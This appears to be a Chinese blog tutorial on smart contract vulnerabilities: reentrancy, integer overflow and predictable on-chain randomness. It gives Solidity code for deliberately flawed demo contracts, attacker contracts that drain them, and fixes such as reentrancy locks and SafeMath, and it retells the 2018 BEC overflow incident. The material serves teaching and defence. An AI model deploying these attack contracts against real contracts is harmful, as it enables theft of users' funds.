智能合约安全漏洞与解决方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";/*智能合约安全在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
*/
contract EtherStore {mapping(address => uint) public balances;// 定义重入锁变量bool internal locked;// 定义重入锁修改器modifier noReentrant() {require(!locked, "No re-entrancy");locked = true;_;locked = false;}function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw(uint _amount) public noReentrant {require(balances[msg.sender] >= _amount);(bool sent, ) = msg.sender.call{value: _amount}("");require(sent, "Failed to send Ether");balances[msg.sender] -= _amount;}function getBalance() public view returns (uint) {return address(this).balance;}
}// 攻击合约
contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// 回退函数fallback() external payable {// 为了避免死循环,加判断if (address(etherStore).balance >= 1 ether) {// 提现etherStore.withdraw(1 ether);}}function attack() external payable {require(msg.value >= 1 ether);// 存款etherStore.deposit{value: 1 ether}();// 提现etherStore.withdraw(1 ether);}function getBalacne() public view returns (uint) {return address(this).balance;}// 接收攻击获得的Eth//receive() external payable {}
}/*整数溢出漏洞uint = uint256  取值范围:0 - 2**256-1  数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字示例,定义时间锁合约
*/
contract TimeLock {// 使用openzepplin的安全库 uint myUint;  myUint.add(123);using SafeMath for uint;// 账本mapping(address => uint) public balances;// 提现锁定期,到期可提现mapping(address => uint) public lockTime;function deposit() external payable {// 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 增加锁定时间 这个加法有可能产生数学溢出function increaseLockTime(uint _secondsToIncrease) public {//lockTime[msg.sender] += _secondsToIncrease;// 使用安全库,防止数学溢出 加完会验证结果是否比原来更大lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);}function withdraw() public {// 判断用户余额require(balances[msg.sender] >0, "Insufficient funds");// 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法require(block.timestamp > lockTime[msg.sender], "Lock time not expired");uint amount = balances[msg.sender];balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");}
}// 用于验收数字溢出漏洞,该合约无其他意义
contract TimeLockAccack {TimeLock timeLock;constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);}fallback() external payable {}function attack() public payable {// 向TimeLock存款,同时该方法会记录存款到期时间,默认一周timeLock.deposit{value: msg.value}();// 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()// 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间// 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0// x = -t  调用这个方法,实际会把取款时间改为0timeLock.increaseLockTime(uint(-timeLock.lockTime(address(this))));// 提现timeLock.withdraw();}
}

使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

不安全写法:lockTime[msg.sender] += _secondsToIncrease;

安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

整数溢出真实案例:

2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金融输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
解决方案:使用安全的随机数源,第三方api或预言机获取随机数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖生产真实案例,如EOS伪随机数漏洞
*/
contract Random {// 生产随机数确定是否中奖,如果中奖则转账给中奖者function guess() public payable {// 获取随机数,确定是否中奖bool result = _getRandom();if(result){// 中奖,获得1个eth奖励bool ok = payable(msg.sender).send(1 ether);if(!ok){}}}// 获取随机数函数,并确定是否中奖function _getRandom() private view returns(bool){uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));if(random%2==0){return false;}return true;}// 查看奖池余额function getBalance() external view returns(uint256){return address(this).balance;}// 设置部署时转入ETHconstructor() payable{}// 允许接收ETHreceive() external payable{}
}// 攻击者合约
contract Attack {event Log(string);function attack(address _random) external payable {for(;;){// 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回if(payable(_random).balance < 1){emit Log("succes getting eth");return;}// 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数// 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){emit Log("failed to get rand,wait 10 seconds");return;}emit Log("start accack!!!");// 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励(bool ok,) = _random.call(abi.encodeWithSignature("guess()"));if(!ok){emit Log("failed to call guess()");return;}}}// 查看余额function getBalance() external view returns(uint256){return address(this).balance;}// 接收攻击获得的Ethreceive() external payable {}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/206611.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决Vision Transformer在任意尺寸图像上微调的问题:使用timm库

解决Vision Transformer在任意尺寸图像上微调的问题&#xff1a;使用timm库 文章目录 一、ViT的微调问题的本质二、Positional Embedding如何处理1&#xff0c;绝对位置编码2&#xff0c;相对位置编码3&#xff0c;对位置编码进行插值 三、Patch Embedding Layer如何处理四、使…

国民新旅游时代,OTA们如何制胜新周期?

文 | 螳螂观察&#xff08;TanglangFin&#xff09; 作者 | 图霖 消费全面复苏的大背景下&#xff0c;旅游业正迎来预期中的拐点。 一个显著表现是&#xff0c;旅游消费正在从可选消费转化成必选消费。 国内消费者旅游需求的不降反增&#xff0c;就是最好的印证。 同程研究…

【grep】从html表格中快速定位某个数据

文章目录 1 背景2 参考知识2.1 grep2.2 HTML基础语言标签 3 解决方案 1 背景 在html中是一堆表格、图片、文字什么的&#xff0c;想从表格中提取关键词为“GJC”后对应的数字&#xff0c;怎么办呢&#xff1f; 逐个打开html文件&#xff0c;“ctrlF”搜一下&#xff0c;然后复…

Android线程优化——整体思路与方法

**在日常开发APP的过程中&#xff0c;难免需要使用第二方库和第三方库来帮助开发者快速实现一些功能&#xff0c;提高开发效率。但是&#xff0c;这些库也可能会给线程带来一定的压力&#xff0c;主要表现在以下几个方面&#xff1a; 线程数量增多&#xff1a;一些库可能会在后…

Windows + VS2022超详细点云库(PCL1.8.1)配置

本文在结合多位CSDN大佬的步骤&#xff0c;记录以下最全的点云配置过程&#xff0c;防止走弯路&#xff08;并在最后配上PCL环境配置成功的测试代码-彩色兔子&#xff09; 一、PCL介绍 PCL概述_pcl技术_一杯盐水的博客-CSDN博客 二、准备工作&#xff08;PCL版本的下载&…

rabbit MQ的延迟队列处理模型示例(基于SpringBoot延时插件实现)

rabbitMQ安装插件rabbitmq-delayed-message-exchange 交换机由此type 表示组件安装成功 生产者发送消息时设置延迟值 消息在交换机滞纳至指定延迟后&#xff0c;进入队列&#xff0c;被消费者消费。 组件注解类&#xff1a; package com.esint.configs;import org.springfra…

网络知识学习(笔记二)

ios模型规定的网络模型一共有7层&#xff0c;但是实际使用过程中&#xff0c;4层的TCP/IP模型是经常使用的&#xff0c;网络知识学习笔记里面也是基于4层TCP/IP模型进行分析的&#xff0c;前面已经讲了&#xff1a;&#xff08;1&#xff09;物理层&#xff0c;&#xff08;2&a…

Redis 性能管理 主从复制与哨兵模式

目录 redis性能管理 内存碎片率 如何清理内存 面试题 Redis雪崩 Redis集群大面积故障 面试&#xff1a;Redis的缓存击穿 Redis的缓存穿透 Redis的集群高可用方案 redis的主从复制 哨兵模式 redis性能管理 redis的数据缓存在内存当中 info memory #在redis数据库中查…

深入浅出 Linux 中的 ARM IOMMU SMMU I

Linux 系统下的 SMMU 介绍 在计算机系统架构中&#xff0c;与传统的用于 CPU 访问内存的管理的 MMU 类似&#xff0c;IOMMU (Input Output Memory Management Unit) 将来自系统 I/O 设备的 DMA 请求传递到系统互连之前&#xff0c;它会先转换请求的地址&#xff0c;并对系统 I…

软件测试:功能测试常用的测试用例大全

登录、添加、删除、查询模块是我们经常遇到的&#xff0c;这些模块的测试点该如何考虑 1)登录 ① 用户名和密码都符合要求(格式上的要求) ② 用户名和密码都不符合要求(格式上的要求) ③ 用户名符合要求&#xff0c;密码不符合要求(格式上的要求) ④ 密码符合要求&#xf…

双11再创新高!家电行业如何通过矩阵管理,赋能品牌增长?

双11大促已落下帷幕&#xff0c;虽然今年不再战报满天飞&#xff0c;但从公布的数据来看&#xff0c;家电行业整体表现不俗。 根据抖音电商品牌业务发布的收官战报&#xff0c;家电行业创造了成交新纪录&#xff0c;整体同比增长125%。快手官方数据显示&#xff0c;消电家居行业…

在Jupyter Lab中使用多个环境,及魔法命令简介

一、Jupyter Lab使用conda虚拟环境 1、给虚拟环境添加 ipykernel 方法一: 创建环境时直接添加ipykernel 方法&#xff1a;conda create -n 【虚拟环境名称】python3.8 ipykernel实例如下&#xff1a; conda create -n tensorflow_cpu python3.8 ipykernel 方法二&#xff…